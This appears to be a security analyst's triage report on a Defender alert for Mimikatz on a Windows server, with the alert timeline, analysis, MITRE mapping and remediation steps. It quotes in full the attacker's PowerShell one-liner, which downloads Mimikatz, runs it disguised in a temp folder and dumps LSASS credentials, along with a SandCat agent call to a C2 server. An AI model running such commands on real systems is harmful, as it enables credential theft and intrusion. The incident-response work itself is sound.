

Alert: Mimikatz credential theft tool

Endpoint: ec2amaz-9oh9aqq

User: NT AUTHORITY\SYSTEM

OS: WindowsServer2022

Verdict: True positive

The screenshot displays the 'Alert timeline' tab in Windows Defender Security Center. It shows a series of events related to the detection of Mimikatz malware. The timeline starts with the execution of nssm.exe at 4:45:11 PM. This is followed by the execution of wusvc.exe with a server URL. Subsequent events include wusvc.exe loading an image, the detection of an active 'SandCat' malware process, and the detection of a 'Trojan:Win64/SandCat.RTS!MTB' in the wusvc.exe process. The timeline also shows wusvc.exe interacting with a file and the prevention of the execution of 'HackTool:Win32/Mimikatz.I' in the command line. The final event is the detection of the 'Mimikatz credential theft tool' as a high-priority threat.

Time	Event	Severity	Status	Action
7/6/2026 4:45:11 PM	[6280] nssm.exe			...
4:45:11 PM	[6176] wusvc.exe -server http://172.31.2.203:8888 -group red	Malware		...
4:45:11 PM	[6176] wusvc.exe loaded image wusvc.exe	Malware		...
4:45:11 PM	An active 'SandCat' malware was detected	Low	Detected	Hidden
4:45:15 PM	Defender detected active 'Trojan:Win64/SandCat.RTS!MTB' in process 'wusvc.exe'	Malware		...
4:45:15 PM	An active 'SandCat' malware process was de...	Low	Detected	Hidden
4:45:15 PM	wusvc.exe interacted with file wusvc.exe	Malware		...
4:45:15 PM	An active 'SandCat' malware was detected	Low	Detected	Hidden
9:01:52 PM	Defender prevented execution of 'HackTool:Win32/Mimikatz.I' in command line ...	Malware		...
9:01:52 PM	Mimikatz credential theft tool	High	Blocked	New

Command Line:

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -C md "$env:TEMP\svcdiag" -f | Out-Null; (New-Object Net.WebClient).DownloadFile('https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip', "$env:TEMP\svcdiag\kb97413.zip"); Expand-Archive "$env:TEMP\svcdiag\kb97413.zip" "$env:TEMP\svcdiag" -f; & "$env:TEMP\svcdiag\x64\mimikatz.exe" privilege::debug sekurlsa::logonpasswords exit
```

Why was the alert triggered?

Mimikatz named malware detected

What was the Threat Actor trying to do?

The attacker is trying to harvest credentials to log into this or other devices on the network, by impersonating a valid user.

Why did the Threat Actor run those commands/malware?

After PowerShell downloaded and extracted Mimikatz, threat actor executed `mimikatz.exe` with the arguments `privilege::debug` and `sekurlsa::logonpasswords`. These are Mimikatz commands that request debug privileges and then attempt to retrieve authentication material from the LSASS process. This behavior aligns with MITRE ATT&CK technique T1003.001 (LSASS Credential Dumping), which is why Defender generated a Credential Access alert.

Did it execute successfully?

Defender prevented execution of HackTool:Win32/Mimikatz.I

Is it malicious or a false positive?

It is malicious.

Remediation:

- Isolated the device **ec2amaz-9oh9aqq**
- Terminated the processes for **wusvc.exe** (PID 6176) and **nssm.exe** (PID 6280).
- Deleted the files at **C:\Users\Public\wusvc.exe** and the temp files in **C:\Windows\Temp\nssm**.

Escalation to Service Team:

Firewall Containment:

Action: Block traffic to/from IP address 172.31.2.203 on the perimeter and internal network firewalls.

Objective: Prevent any host on the network from communicating with this suspected attacker/C2 server.

Credential Reset & Hardening:

Action: Force a mandatory password reset for all local and domain Administrator accounts associated with the impacted server.

Objective: Ensure no compromised memory-cached credentials can be leveraged for post-exploitation lateral movement.